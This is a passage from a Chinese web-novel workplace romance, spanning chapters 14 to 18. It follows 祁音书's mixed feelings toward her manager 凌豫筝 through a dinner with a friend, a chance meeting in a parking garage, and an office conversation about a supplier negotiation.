“我就坐你家小区对面的咖啡店里呢,叫什么——de、demi,就是d、e、m、i四个字母。”对方说,“你到了直接来找我就行,黑色卫衣,红色行李箱,显眼得很。”
“好嘛。”祁音书应道。
“你应该不会又要拉你姐一起来吧?”
车在b2层慢慢滑,祁音书望着出口,蹙眉:“……她不在新蓉。”
“哦,她还在上海?”
“嗯。”
“好吧,那待会儿见面再说,拜拜。”对面挂电话。
蓝牙耳机里没了声音,祁音书将它摘下,随手丢副驾上。
前方一辆墨绿色的车拐出来,她一眼就认出是凌豫筝的车,便稍微踩住刹车。
跟凌豫筝一前一后,驶出停车场。
二人住在同一个小区,下班的路自然也相同。这会儿正值堵车高峰,六车道全被占满,祁音书想换条路都不行。
又慢,又只能看着凌豫筝的车屁股。
祁音书目光乱飘,手指不耐烦地在方向盘上敲,就是不看前面。
过会儿,车道还一动不动,她终究控制不住自己的眼睛,隔着自己的前车窗,minicooper的后车窗,企图观察小车的车内。
视线过于受阻,完全看不见凌豫筝。
她心里纠结又纠结。
我是等在这里太无聊了。她对自己说,同时拿起凹槽里的手机。
咔嚓——
对着前车拍了一张。
【/照片/】
【好巧,我在你后面。】她舔着下唇,像中邪一样发出这条信息。
然后,祁音书就开始漫长的等待。
车流通畅,前车变道驶离,她眼睁睁看着那车向右开走,摆在腿上的手机毫无音讯。
“…………………………”
神经。
我再也不会主动给她发消息了。
祁音书咬牙想着。
14、第十四章
一路坏心情。
祁音书特地将手机丢去了后座。这样就算有谁突然良心发现给她回消息了,她也不会第一时间看见,可以把对方晾着。
多少有点自欺欺人的味道。
车开过御河新城,在路口调头。远远望见朋友说的咖啡馆,她打开转向灯,将车沿边停靠。
停稳。祁音书打算拿手机问朋友人在哪里,下意识摸凹槽,半天没碰到,几秒后,她才想起——刚才自己把手机丢后面了。
非常无语。她叹口气,转身,企图直接碰到手机,结果被安全带死死压住。
偏偏这时候手机屏幕亮了。
微信!
祁音书的眼睛也跟着亮了,利索地解开安全扣。膝盖爬到驾驶座椅上,用力倒跪着,拼命支出好长一截身体,终于抓到手机。
【祁音群?你还没到吗?快一个小时了!】点开消息详情,是朋友催她。
不是凌豫筝。
祁音书被自己傻傻的期待气笑了。
她给朋友回拨语音通话:“喂古雨?我已经到啦就停在马路边,一辆白色沃尔沃。”
古雨:“白色——具体长啥样啊?你车牌多少?”
“54332。”
“4332,行。”对方话音停住。
没过半分钟,祁音书隔着车窗,看见那咖啡馆走出一个穿黑色卫衣的人。
“我看见你了。”
祁音书挂断通话,快速降下副驾车窗,等人再走近点,她扬起笑容大喊,“古雨!这里!”
行李放后备厢,二人回到车上。祁音书见古雨粉棕色的卷发上,还别着那个给她发过图片的椰壳发夹,海南旅游纪念品。
“你怎么回来了?vlog不用拍了?”她问。
古雨凑近副驾箱盒前那个粉色蛋糕,摸了一下:“拍呀,你也知道我春节都在外面拍东西呢。昨天我说错话我妈生气了,给我骂了一顿,让我再不回家就永远别回。”
祁音书哈哈大笑:“那你春节不回家是有点太过分了嘛,阿姨生气也蛮正常的。”
“所以嘛,我马不停蹄赶回来,在家当个乖宝宝,住一段时间再走。”古雨靠回椅背,看她,“你明天还要上班,我们干脆就去附近那个海悦广场吃吧,我刚才查点评看那里有家酸汤锅还不错?你以前有去吃过吗?”
祁音书摇摇头。
海悦广场是她家附近最大的综合商城,吃的,逛的,玩的,什么都有,是这片居民区之间的核心地带,即便是工作日的夜晚也很热闹。
她不爱凑热闹,所以除非是必要情况,她很少主动过去,至今连那商场有几层楼都不清楚。
作为从小认识的朋友,古雨很理解地拍拍她的胳膊:“好的,没关系,那我们出发吧!”
古雨说的酸汤锅,位于海悦广场a馆的负一层。
“挺神奇啊,一般这种店不都开在楼上嘛,你看这里全是啥面条饺子之类的小吃。”
她们从负二层扶梯上来,古雨边走边跟她说。
祁音书正在皱眉看手机,听古雨说话,没灵魂地应了句:“对啊。”
“你咋啦?”古雨问,“等消息呢?”
祁音书立刻垂下胳膊,做贼心虚地看向古雨的眼睛:“没有啊。”
古雨眯眼,很是嫌弃地啧了声:“群群,你还是很不会撒谎,这样怎么行?你在你们公司能混下去吗?我听说职场都很恐怖,随时有人背刺,不可以啥事都说真话。”大学就成为旅游博主,从未上过一天班的古雨明显为她担忧起来。
手机震了震。
震到了祁音书的心尖上。
但此刻古雨盯着她,她不太好意思又急匆匆拿起手机查看,心被痒痒挠,右手止不住地捏紧。
“你放心吧,我平时在公司不是这样的,诶你说那酸汤锅怎么还没到啊?我们是不是走错了?”她语速很快。
古雨撇头,目光转了圈:“嘶,对啊,怎么感觉绕回来了?”
说完拿起手机,将祁音书拉住,“你等会儿,我再看看地图。”
祁音书点头如捣蒜,悄悄把手机换到左手,低下目光,解锁——
【/动画表情/】凌豫筝回的。一只黄白色矮脚猫乖乖凑近屏幕。
可爱但意味不明。
祁音书往上看了眼她自己说的话,再往下看眼这没有任何含金量的表情包,凌经理敷衍她的态度真可谓是,演都不演了。
还不如别回呢。
装没看见都比这好。
祁音书又被气到了,重重锁屏。
古雨拽拽她:“哎呀,走走走,原来就在前面那拉面馆旁边,特别小的一个门,怪不得我们没看见。”
接下来几分钟,祁音书都在面上勉强挂笑心里怒火滔天中度过,她心想她也没有别的意思,纯粹是作为同事,路上碰见了,发条消息问候一下。
这怎么了?至于困扰到一个多小时才回个让人不理解的表情包吗?
祁音书平常在公司也偶尔会为了工作上的事生气,但基本不挂脸,不往心里去,喝口水的功夫就能安抚好自己。
但她现在已经和古雨坐进了店里,扫描二维码,看菜单,木然翻过一张张摆盘精美的菜。
心里全是那只眼睛圆溜溜,表情懵懵,却让人猜不到在表达什么意思的矮脚猫。
“群群,你有加菜吗,我这边怎么刷新好几次都只有我点的菜啊?”对面古雨问她。
祁音书回神,抬眼:“啊?我没加上吗?”
古雨歪头看她一会儿,指她的手机,命令:“最后一次机会,赶快,别发呆了。”
“好的。”祁音书乖巧。
荤菜随意点了两个,素菜点了一个,最后选了瓶冰镇豆奶,“我好了,直接下单?”
古雨正在打字,抽空对她挥挥手:“嗯嗯嗯,下吧。”
等上菜。古雨跟祁音书分享在海南遇到特大暴雨的事,手举起,绘声绘色:“我住的那个地方,当时那水淹到我——”
话停住,古雨的视线往她右后方飘,还特意伸长脖子,似乎看见了什么。
祁音书也转头,门口除了服务生,就是坐着等位的人,她没明白,转回来看古雨:“咋了?”
“好像看到我高中的学姐——”
“高中?”祁音书失笑,“你记性这么好,高中学姐都记得?”
“她光荣榜照片贼漂亮,后来还回来宣讲过,我班主任的学生,一个被记大过还考上重点的传奇人物。”
铜锅端上来,祁音书对服务生讲了句“谢谢”,用汤勺转汤底:“是吗,怎么以前没听你提过?”
“祁音书!我肯定跟你提过!”古雨手摁住桌子,“因为我们高考那年,那学姐回学校恰好给我写了个寄语,我绝对有拿给你看。”
祁音书耸耸肩:“maybe?”两人并不是一个高中,高三忙,很少见面,她完全不记得。
“人生精彩,感受自由。”古雨当即背出,“记得吗?”
“记得。”祁音书说,“不过是你的微信签名。”
“是寄语!然后我就一直拿它当我的微信签名了!”
“谁给高三生这种寄语?”祁音书笑了笑,“不过好像也蛮符合你现在的状态。”
“唉,你不懂,我懂。”古雨捂住自己的心口。
“okok。”祁音书点头。
“你好不好奇她为什么记大过?”古雨又探脑袋。
“先下吊龙还是胸口肉?”祁音书问。
“烦人!”古雨身体往后跌,“你看你就只关心你姐姐!姐宝!”
祁音书赶肉的筷子顿了顿,抿唇,又松开。古雨是她最好的朋友,她们无话不谈。但唯独和萧疏音的事,那些矛盾,祁音书始终没能讲出口。
这一次,她也选择继续憋在心底。
“不对不对,好像真的是她!”古雨说着,突然就站起身,“群群你等我一会儿,我去打个招呼。”
祁音书扬扬筷子:“您随意。”
古雨穿过几桌,跑到那刚返回来,捏着一张纸,跟服务生讲完话正要转身的人,试探喊道:“学姐?”
凌豫筝愣了愣,看着古雨的脸回忆一秒:“古——雨?”
古雨大喜:“哇!你还记得我!”她太高兴了,看看周围好像没有和凌豫筝一起的人,便问,“学姐你一个人来吃啊?”
凌豫筝微笑着,点点头:“嗯。”
“那,我看这等位的人还挺多的,你要不要进来跟我们一起?我里面还有一个朋友。”
大约是旅游博主当惯了,古雨挺自来熟的,真心发出邀请。
凌豫筝并没有立即拒绝,好似考虑了会儿,才笑说:“没事,就不打扰你们了,反正我就一个人,去隔壁吃碗面也一样。”
铜锅内咕噜咕噜翻腾,祁音书给古雨挑了些肉凉着,又把手工豆腐倒进锅里,古雨轻快地回来了。
祁音书看着拿起筷子就吃肉的人:“怎么样?是你那学姐吗?”
“嗯。”古雨指自己的眼睛,得意,“我视力5.1,你当开玩笑呢。”
祁音书笑了声:“那你给她讲你的寄语故事了吗?”
知道祁音书是在故意调侃,古雨白她一眼:“她一个人,我本来想请她进来一起吃的,结果她说去隔壁吃面。”
“哦,吃面好。”
“谢谢你啊,你这话可真够敷衍的。”
敷衍。
听见这个词,祁音书看眼被她摆在沙发座位上的手机。
古雨,你是没见过更敷衍的人。
15、第十五章
八点过,两人吃完饭,上楼逛了圈,古雨接到她母亲的亲切来电。
祁音书正与古雨下扶梯,站得近,能依稀听见手机里厉声的训斥:“古雨!两个小时前你就跟我说你快到家了!”
“妈妈!”
古雨迅速打断,“你猜我一下高铁就碰到了谁?群群!她非要我跟她一起吃个晚饭!我真的没办法?哎呀你别不信!真的是她!我让她听电话啊——”
说着,烫手山芋就转到了祁音书手中,古雨双手合十,口型:“拜托拜托!”
祁音书没辙:“喂?阿姨?嗯,对,哦我是刚出差回来,恰好碰到古雨了嘛,挺久没见她所以想请她吃个饭,不好意思阿姨。”
古雨妈妈看着她俩从小长大,对她一直很温柔,连忙说:“没事没事,古雨要是跟你在一起我就放心了。怎么样,你妈妈最近还好吗?”
“嗯嗯,她挺好的。”
“还在国外呢?那个,什么加沙?”
“对。”
“哎呀,你妈妈的工作也真是危险,上次新闻我还看见她了。”
闲聊了会儿,古雨妈妈让她把电话还给古雨。
祁音书抬起手机,古雨接过,又用口型问了句“没事吧?”,她摇头,也无声回:“没事。”
二人身影乘着扶梯,一层一层往下。
古雨和她妈妈又聊到了下周回老家的事,听上去,一时半会儿结束不了。
祁音书便拿起手机,边走边玩星星大战。
通关了,就回到第一关从头玩,微微动脑,益智放松。
她拇指点击两颗黄色星星时,手机冒出弹框,你收到了一条微信消息。
她一直没开消息详情。
以为这么晚了,不是余樱就是工作群聊。于是等通知消失,当前关卡打完,才下拉消息框,点进去。
x:【/图片/】
祁音书下意识站定,呼吸收紧,点开五颜六色的图片。
一桶珍宝珠棒棒糖,黄红色塑料包装上,印着文字“缤纷多样珍滋味”。当然,这都不是重点,祁音书放大图片,拉至角落,扒拉着图片仔仔细细看了一圈。
这个地砖、货架,旁边的logo,90%是海悦广场楼下的永辉。
正如前面所说,非必要情况,祁音书不会主动来这边闲逛,对海悦楼上的商铺结构不了解。
但她每年都有固定的几次,会陪她妈妈或者她姐姐,到楼下永辉买东西。
——凌豫筝正在楼下逛超市,离我很近。
光是想到这点,祁音书就莫名感觉到脸发烫,全身的血液都开始倒流。
古雨打着电话,没注意她人,一个人向前走出好远。
估计是挂电话才发现旁边的人不在了,古雨捏着手机跑回来,喊她:“祁音书!你干嘛呢!”
心里一旦有了想要与对方偶遇的冲动,就难以消停。
祁音书不知道给她发消息的人是不是已经结账离开,也不知道如果碰见,她要以怎样的表情面对对方。
但她就是想去超市。
“我,有点情况,得赶快下楼去买包卫生巾。”
祁音书僵直地憋出这句话后,拽住古雨的手腕,不管不顾,快步走向左手边的直梯,能直达负一层。
期间,古雨腾出另一只手,翻包说:“你别急,我好像有带,哦,不对,在行李箱里。”
回车上拿太麻烦,那还是去超市买吧。
人在赶时间的时候,最容易碰见拦路虎。
她们从四层上电梯,其后每一层,都有人要进要出。
祁音书明显在不断深呼吸,眼睛盯紧右上方的红色数字,牙齿都快把嘴皮咬破。
古雨以为朋友痛经,也着急,明知道包里没卫生巾也没药,还是低着脑袋企图翻出点什么。
就这样,气氛极度紧张,总算到达负一层。
祁音书出门就小跑,古雨后面追:“哎呀!群群!你别跑!当心更痛!”
进超市,古雨一眼就看见左手边的日护区,但——
“群群!左边!左边!”她声音大到离谱,还是唤不回一头扎向右边的祁音书。
古雨嘴上又“哎呀”一声,虽然搞不明白,加速跑去拿了一包卫生巾,一长条组合装小包卫生纸,跟超市采购比赛似的,扭身往祁音书消失的方向追去。
呼——呼——
祁音书胸口快速起伏,抬起手机,原模原样地找到了凌豫筝拍照的地点。
左边是糖果货架,右边是膨化食品货架。
夹在中间的,是没能得到想要答案的祁音书。
她真是笨,凌豫筝又不知道她会赶来,怎么会留在原地等她。
祁音书呼吸渐渐平缓,神色失落地看着左边货架上那空出的缺口——大概就是凌豫筝拍给她的,买走的那一桶棒棒糖吧。
她转动脚步,面向棒棒糖货架。
目光沉了好一会儿,然后,伸手取出一桶棒棒糖。
刚完成超市大迁徙的古雨跑近她,比她刚才还喘得厉害:“哎、哎,我,我真,我真的不知道,怎,怎么说你,你不痛经吗,跑得比兔子还快。”
祁音书有点抱歉地看向朋友,主动拿住那一长条卫生纸:“古雨,谢谢你啊。”
古雨看眼她的脸,看眼她怀里的一桶棒棒糖:“啥意思?这么着急跑来就是买糖啊?限量的?”
“嗯。”
祁音书垂下目光,沉默两秒,转身,“走吧,你再不回去,我怕阿姨又要打电话找你了。”
开车送古雨回家,距御河新城十分钟左右的地方,到楼下,古雨解安全带:“群群,我这两天先不找你啊,得在家陪陪我妈。过两天,我有时间了,再打电话约你玩。”
祁音书无所谓,笑着点点头:“行。”
目送古雨拉着行李箱走进单元楼,祁音书收回视线,看着方向盘,又想起她送凌豫筝回家的夜晚。
凌豫筝的背影就那样融进夜色之中,没回过头,没有留恋。
她家里没人,不急着回去,祁音书想了会儿,解开安全扣下车。
一个人跑到后备厢,哗啦哗啦扒塑料袋,嘭咔,扭松那一桶棒棒糖。
紫色,写着葡萄味。
她扣上后备厢的门,腰抵在门上,在黑夜里慢悠悠地拆着糖纸。
祁音书真的不爱吃糖。很浓郁的葡萄味糖精,光闻着,就撇眉。甜得有点发腻。
她默默看了会儿,尝试着,把糖果放进嘴里。
唾液迅速在口腔内分泌,裹着她最讨厌的味道,一遍又一遍冲击着她的神经。
像疯子一样在别人家的小区里吃完一整颗糖果。
祁音书坐上车,心情总算好点了,即便车里似乎都被熏满了甜腻的葡萄味。
但她心情总算好点了。
开车回御河新城,进地下室,转进她停车的老位置。
砰——
关上车门,绕到后备厢拿她刚才心烦意乱采购的零食。
手捏上塑料袋的边缘,又想,这么多东西带回家,得吃到什么时候,算了,明天带去公司分掉。
她松手。
砰——
又关上后备厢的门。
她绕过车身,向右走。
地下室很安静,她听到了塑料袋摩擦的声音,但她并没有拿东西。
祁音书杂乱的思考停止了一瞬,仔细听,塑料袋离她很近。
捏紧车钥匙。
她转头看。
“小祁,我还以为你不会回头呢。”
凌豫筝左右手各拎一袋东西,平静地对她笑。
16、第十六章
祁音书五指收紧,心跳越来越快地看着凌豫筝向她走近。
怎么会。
她送古雨回家,又在那边停了许久,根据凌豫筝给她发微信的时间,两人应该无论如何都撞不上彼此的,凌豫筝怎么——
凌豫筝停住最后一步,非常自然地看着她的眼睛:“刚回来啊?”
“嗯。”
祁音书闷闷地答了一声,才张嘴,“你也是?”
凌豫筝抬抬右手:“对啊,我去吃晚饭,顺便逛超市。”放下胳膊,又笑,“不是给你发了照片么,没收到?”
祁音书小臂下意识贴近衣兜,里面有手机,她非常不擅长撒谎,尤其是对方目不转睛盯着她的时候。
不擅长。
所以只好保持沉默。
好在凌豫筝不是非要她给一个答案,看眼她空空如也的手,笑着说:“小祁,帮我提一袋吧,有点重。”
祁音书手比脑子快,当即弯腰,接过那看起来塞得更满的一袋,她注意到里面有曼妥思、阿尔卑斯、旺仔夹心软糖,总之是各种各样的糖果。
不过,帮忙提东西的意思是,难道凌豫筝要带她一起回家吗?
祁音书垂着目光,神色有些茫然。
“你要是不着急回家,陪我去上面坐会儿?”凌豫筝说。
难道她们的关系真的是要就此改变了?会不会太奇怪?不是昨天才说要继续维持以前的关系?
祁音书抬眼,凌豫筝面上很平静,似乎并没有像她一样纠结。
反正,邀请是凌豫筝给的,她只是接受者,没关系吧。
一起回家又不代表会发生什么,万一真的只是东西太重,凌豫筝一个人拿不了呢。
人就是这样,理性想一回事,感性骗一回事,到最后,往往都是感性获胜。
祁音书扬起笑意:“好啊,我不着急。”
御河新城小区里都是电梯房,总高30层,祁音书她家住在9层。
进电梯时,祁音书很认真在思考,凌豫筝今晚让她知道了具体住址,她该不该也告诉对方她家住哪里。
想着,余光瞥见凌豫筝摁亮的键是——“1”。
祁音书眨眨眼,都没来得及反应是不是她自己看错,电梯门关上,凌豫筝转头来问她:“今晚你也在外面吃的?”
祁音书先无思无想地点了下头,而后声音才回答:“……嗯。”
到一层。
电梯门开了。
她不敢相信,甚至都没有要迈步的动作。
凌豫筝用右手压住电梯门,笑她:“不出去吗?呆呆的想什么呢?”
原来凌豫筝所说的“去上面坐会儿”,真就是字面意义的,去上面,坐会儿。
电梯楼一层没有住户,出楼栋左拐,是架空休闲层,装有滑梯,跷跷板,健身器材。
祁音书静止在花坛边,看凌豫筝的背影走进休闲层,随手将塑料袋往长椅上一放。
而后人再向左走,找到一个儿童坐的小海豚摇摇椅,利利索索地霸占了。
“你小时候玩过这个没?”凌豫筝微微晃着,看她,“小祁,过来坐啊。”
要不是祁音书觉得自己此刻足够清醒,她一定会狠狠掐一下自己的脸,看看这荒诞的一切到底是不是梦。
答应了要坐会儿。
即便她已经很想甩臭脸走人了,还是维持稳定的情绪,慢慢走进里面,没放塑料袋,拎着到了凌豫筝跟前。
“凌豫筝,你真的只是偶然碰见我吗?”她听见自己质问。
一点都不稳定。
坐着的人稳住身形,吸口气,再叹口气,当她的面站起,与她双眼平视:“当然不是。”
“那你就是逗我玩了。”祁音书冷脸,语气里已经有她自己都察觉不到的生气,“你发那照片什么意思啊?”
凌豫筝环起胳膊,打量她的眼睛:“我什么时候逗你玩了。”
祁音书气得攥紧塑料袋,想直接扔在地上。但她不清楚里面有没有易碎品,低下身子,轻轻放好,再站直,死死盯着凌豫筝的眼睛:“现在!”和凌豫筝成为上下级后,露出最凶的样子。
“以前我们也会经常发照片,为什么今天要生气?”
凌豫筝反问的表情太冷静了,衬得此刻咬牙切齿的她太不冷静。
她心里隐约有答案,但答不上来,凌豫筝又说,“小祁,你别对我有太大的期待。”
期待?我没有期待!祁音书气得鼻尖都酸了,可她也不知道这是为什么,不,其实她知道。
是她的心犯规,偷偷越界了,自以为凌豫筝也该有差不多的想法。
这些成熟的,比她年龄大的人,总是这样。
事实证明,她又一次自己莫名其妙沦陷进这种感情,真是活该。
不过只是两天而已,她完全来得及抽离。
肯定来得及!
这次她可以证明,她并不是控制不住自己感情的人,酒店是酒店,现实是现实。
祁音书波动的心绪渐渐平息,她垂下目光,弯腰捡起刚被她放在地上的东西。
“知道了。”
她转身走向长椅,让这袋东西好好地与另一袋靠在一起,“对不起,这两天可能是我有点不适应,以后不会了。”
凌豫筝没有接她的话,她低头看着袋子里乱七八糟的零食,还看见了那一桶扎眼的棒棒糖。
但今天这件事,她还是要跟凌豫筝讲清楚。
她转身,看着凌豫筝的侧脸:“可是凌经理,您最好也不要再给我发照片,我这个人容易误会。现在我们每天都不得不见面,我还是希望把工作和生活分开一些。”
冰冷的话说完,她看见凌豫筝慢慢收起双手,放进那烟灰色休闲服的衣兜里,明明是她在出声,凌豫筝却转头去看向那幼稚的海豚摇摇椅。
“那我们要结束吗?”隔了很久,凌豫筝问。
“结束?”祁音书笔直站着,“不,我没有要结束的意思。”
眼前的人转来看她,表情很复杂,好像她说了一句多么奇怪的话。
祁音书向前走,她们身高相似,在夜色中,分不清彼此。
“凌经理,葡萄味的棒棒糖,真的很难吃。”她冷声说道。
然后,她顶着凌豫筝错愕的目光,转身离开。
17、第十七章
晚上做梦,梦见凌豫筝穿睡裙,坐她家飘窗边,脚尖正对着她,轻轻晃,脸却转去望窗外的月亮。
那没有耳洞的耳朵却坠着一串流苏耳饰,闪得晃眼。
左脸腮帮子鼓鼓的,在品尝一根棒棒糖。
祁音书侧躺着看,想要喊对方的名字,喉咙发不出声。
她闻见了葡萄味,甜腻的葡萄味,唾液分泌,她认为这是现实。
她着急说,凌豫筝你别逗我玩了行不行,我也想吃,你拿过来给我尝一尝。
对方装听不见,完全不理她,但她分明听见凌豫筝为她的话轻笑了一声。
饱含嘲讽的轻笑。
祁音书气醒了。
缓了整整一分钟,才表情非常郁闷地从床上爬起来。
出门前换衣服。
人事部还没正式通知可以改变穿着,她照常拿了套藏青色西装,双排扣,右胸前自带一个红黄蓝三色组成的皇冠徽章,内衬领带是藏青和暗红的斜纹交错。
看上去比较学院风,不会太死板。
鞋就随意蹬了双舒服的黑白帆布鞋。
今天气醒得早,一路上都不匆忙。慢腾腾开到写字楼停车场,祁音书下车,关门走到后备厢,拿昨晚她胡乱买的零食。
看见那一桶棒棒糖,她沉下目光,将塑料袋口迅速打结。
眼不见为净。
往电梯走的途中碰见同事。
“哟,祁老师,大清早买这么多零食?今天你们组要开头脑风暴会啊?”
祁音书客气一笑,抬抬手问:“你要先吃点吗?”
对方摆摆手,把手里的煎饼也举给她看:“我这还有一堆早餐等着消化呢,晚点去你座位拿。”
祁音书点头:“行啊,我每样给你留点。”
二人和和气气推开玻璃门,进电梯间。
前面有一人正在等电梯。
黑色长直发,一整套肃静的黑色西装,右手却拎一个,看上去与西装气场超不搭的jellycat卡通奶茶包。
祁音书眯眼与那包上两颗黑溜溜的眼珠子对视,听见身边的人礼貌喊道:
“凌经理,早上好啊。”
“早。”
凌经理冷淡的声音传回来。
祁音书抬起目光,凌豫筝正巧看她,她面无表情地与其对视两秒。
“凌经理早。”她乖巧道。毕竟身边还有人,她需要装装样子。
原本侧对着她们的凌经理,稍微转向她们,眼睛笑得弯弯的,也不知是真情还是假意,回应她:“小祁早。”
三人等在电梯间,祁音书特地将脸别向另一方,看着那银色反光的垃圾桶。
凌豫筝的身影被拉成细细的一条线。
同事正没话找话地与凌豫筝寒暄:“凌经理您没买早餐吗?”
“没有,起晚了,公司抽屉里还有几块饼干,打算凑合吃。”凌豫筝语速平稳。
“早上光吃饼干啊?那多噎人?”同事来碰她的手,“诶,群群,你要不把你这些零食给凌经理分点呗?”
“啊?”
无端被点名,祁音书莫名其妙地回头,扫眼这同事。
再看向那满脸笑容的凌豫筝。
……
什么嘛。
搞得好像昨晚只有我一个人受影响。
祁音书心里烦得很,又不好发作,只能对凌豫筝挤出半秒勉强的微笑:“好呀,等会儿看凌经理想吃什么,我拿给凌经理。”
然后她也不等人回答,转正脸,冷漠看着迟迟不开的电梯门。
进电梯,祁音书自动往右边角落走。
她余光里,凌豫筝去了左边角落。
她刚松口气,没想到中间的同事谦让上了——说什么也不能让领导被挤在角落,硬是请凌经理交换位置,要让凌经理站中间。
随着电梯关门声响起,凌豫筝也被换到了她身边。
祁音书特地将提着东西的右手抬高些,当阻拦物,坚决与凌豫筝保持距离。
不过早高峰的电梯由不得她。
一层开门,密密麻麻的人头涌进来。
这时候可没人礼让经理,进门就低头装傻,能挤进一个是一个。
塑料袋也被“咔嚓咔嚓”地越挤越扁,祁音书无意识瞥眼凌豫筝,后者不断在让,眉心紧锁。
“……”祁音书绷紧的一根弦又松了。
她将塑料袋换边,没管会不会挤坏,压到左腿外侧,而后右手找到凌豫筝的手腕。
把人往她刚让出的空隙带。
被她拉住手的人,有点诧异地转头来看她。
祁音书没理,感觉凌豫筝差不多站稳,手就松开,眼睛也冷冰冰地看向那遥远的电子显示屏。
二人胳膊紧贴在一起,谁都没有讲话,一路走走停停,直至上到25楼。
出去的时候也是,祁音书和同事左右扒开人缝:“让一下,谢谢!”
其实她完全没必要考虑身后的凌豫筝,那么大个人,没她的时候不照样能挤出电梯。
但她大概就是。
算了,某种当下属的自觉吧。
祁音书左手提着塑料袋开路,右手抓住领导的衣袖,给人顺路拽出电梯。
她没把这动作当回事。
知道凌豫筝更不会把这动作当回事。
所以一出电梯,祁音书就松了手,头也不回,径直走向玻璃门。
背影要多潇洒有多潇洒。
和同事一前一后打完卡,祁音书拎着一堆零食走到座位,她边解塑料袋,边看向那位正云淡风轻路过办公区、独自前往办公室的凌经理。
她陷入新的烦恼。
凌豫筝真的没有早餐吃?真的需要她送零食过去吗?
刚才——刚才凌豫筝有回话吗?她光顾着不爽,完全没注意听。
“唉。”
祁音书扯开塑料袋,右手在袋子里翻。
棒棒糖肯定不行,饼干,噎人是吧,薯片,不合理,等下,这个——
祁音书匪夷所思地拿起一袋树莓味的碱水面包。
我怎么会买碱水面包?还是树莓味?想想就好难吃!
她脑海里突然想起,她昨天在凌豫筝办公室汇报ip协议的时候,好像有看见凌豫筝叠一张糖纸,粉白色,那上面的图案,是树莓还是草莓?
凌豫筝那么喜欢吃甜的,这个面包应该会合她口味吧。
面包,玉米汁,酸奶,祁音书搂了一怀的东西,边无语自己在乱买什么,边穿过办公区,走向经理办公室。
半路碰见刚接热水回来的余樱。
余樱今天戴了个黑框眼镜,眼睛肿肿的,茶杯白烟飘飘,十分像个老干部,说话声音哑得厉害,老树皮摩擦:
“……哎哟,群,你抱这么多零食上哪里去?”
祁音书吓到:“你这嗓子,一晚上没见你咋了?”
“昨晚没关窗,风吹的——”余樱痛苦地咳了两声,“今晚聚餐我咋办啊,我还想大吃特吃。”
“我那有金嗓子,你等我会儿,我到时候拿去给你。”
“好好好。”余樱猛点头,又指她怀里,“你这到底要去干啥?”
二人说话的地方距离经理办公室只有五步之遥。
祁音书“呃”了好一会儿,才回答:“今天我们小组要开头脑风暴会,买多了零食,昨天凌经理会上帮我说话嘛,我就想说感谢她,给她送点。”
“她一个经理能喜欢吃这些嘛。”余樱皱眉,“你还不如请她喝杯咖啡。”
“嗯,有道理。”祁音书沉吟,“那算了,我——”
“小祁。”
她刚打退堂鼓,一道女声从她右前方传来。
祁音书的目光自然穿过余樱的肩头,看向正站在经理办公室门口,平静面色看她的凌经理。
“咳,凌经理早。”
余樱冒了句,赶紧与祁音书擦肩,走时不忘小动作,指尖揪揪她的衣角,“这下不送也得送了,加油。”蚊子音祝福完,光速消失。
祁音书没管余樱,有点尴尬地注视着凌豫筝。
凌豫筝眼光冷淡地看了看她那刚被拽的衣角,下巴朝办公室内扬扬:
“你进来,我有事找你。”
18、第十八章
“坐吧。”
关门进到办公室里面,凌豫筝冲她抬抬下巴。
祁音书抱着怀里的零食们,放也不是,不放也不是。
凌经理这会儿没脱外套,衬衣,西装,都很规整地叠穿在身上,唇线绷紧,看上去十分严肃。
“凌经理,我,吃的给您放哪儿?”
祁音书心想这事是刚才她们在楼下约定好的,又不是她单方面硬要送来给凌豫筝,她没必要战战兢兢等待,便直接开口问了。
正在翻找纸质文件的人抬头看她一眼,抽出一张印了字的a4纸,左手指向办公室内那一张二人座的黑色沙发。
“谢谢小祁,帮我先放沙发上吧。”非常客气。
“好。”祁音书也客气,淡淡点头,走去把东西放好,再重新坐回凌豫筝面前。
那张a4纸推给她。
“下午你们去嘉禾开会,有把握吗?”嘉禾是与丁总的会议中,大家一致同意要合作的公司。
也是当时祁音书打包票没问题的供应商。
在事情谈成之前,谁都不敢说有百分百的把握。面对直属上司,自己人,祁音书垂在大腿上的手指稍微收了下,保守道:
“百分之五十吧。”
凌豫筝便笑:“百分之五十?要么成功要么失败?”
“从我自己的判断来说,是百分之九十,但从成功概率来说,是百分之五十。”祁音书回道。
凌豫筝没接话,将a4纸翻面,有字的一面给祁音书看:“联络供应商本来不该是我们部门的工作,但既然这件事是年前戚经理接下的,我会负责处理好。”
“之后也会尽快厘清我们与其它部门的协作流程,今天只能辛苦你,先陪生产部去谈判。”
祁音书听着,目光有点发愣地从上到下,浏览a4纸面里,各类供应商核心负责人的私人联系方式。
很多是她们公司从前拼了命都找不到人。
她快速看完,抬眼,难以置信,凌豫筝就这样轻易地把这些重要内容交给她看?
“不用紧张,你们不同组的负责人,我会提供不同的帮助。”
凌豫筝继续说,“今天我希望你的成功率能是百分百,也相信你。给你看这些,只是需要你知道,即便不成功,我也会为你兜底。”
“所以,不要有压力,放心去做。”
凌豫筝。
昨晚被她凶了一顿,惊讶的凌豫筝。
今天真心实意与她谈论工作,坦然的凌豫筝。
两张脸不断重合,再分开。
祁音书咬了咬后槽牙,终于认清自己先前在楼下,企图冷脸示威的行为有多么幼稚。
幼稚透顶。
豪言壮志说了一堆,都不如此时此刻,完全把私事抛在一边的对方。
这是正确的,她应该学习。
祁音书右手触上纸面,停顿一秒,而后“哗”一声轻响,她将东西拿到自己面前。
她不再游移,真切地回看着凌豫筝的眼睛:“好的,谢谢凌经理。”
祁音书的背后,玻璃窗外,有鸟飞过,黑线划破澄澈的蓝天,倒映在凌豫筝的瞳孔中。
凌豫筝挺直的肩颈松弛下来,当祁音书的面起身,走去拿起沙发上的面包,饮料。
回办公桌边,没坐,侧腰靠着桌沿,离祁音书的右手手背挺近。
站着的人兀自翻转面包包装:“树莓口味?看上去挺好吃的?你尝过吗?”
祁音书收回右手,带着a4纸一起回到桌下,摆腿上:“没有,就一个,我不是很爱吃面包,也不喜欢果酱。”
凌豫筝笑了一声,转身回椅子前,坐下,冲她扬了扬面包袋子:“行,那我就替你消灭它吧。”
在祁音书心中,这样轻松的对话,便是工作交谈结束的信号。
凌豫筝撕袋子,她就站起身:“凌经理,那您慢慢吃,我先出去了。”
她眼里的人咬口面包,非常认真咀嚼,含糊道:“唔。”对她推推手,同意她的离开。
回到座位,她桌上装有零食的塑料袋还敞开着。
祁音书把a4纸放好,想了想,将早上说好要留的部分简单拿了几个,其余的,她招呼右边工位里最能社交的同事:“灿灿——”
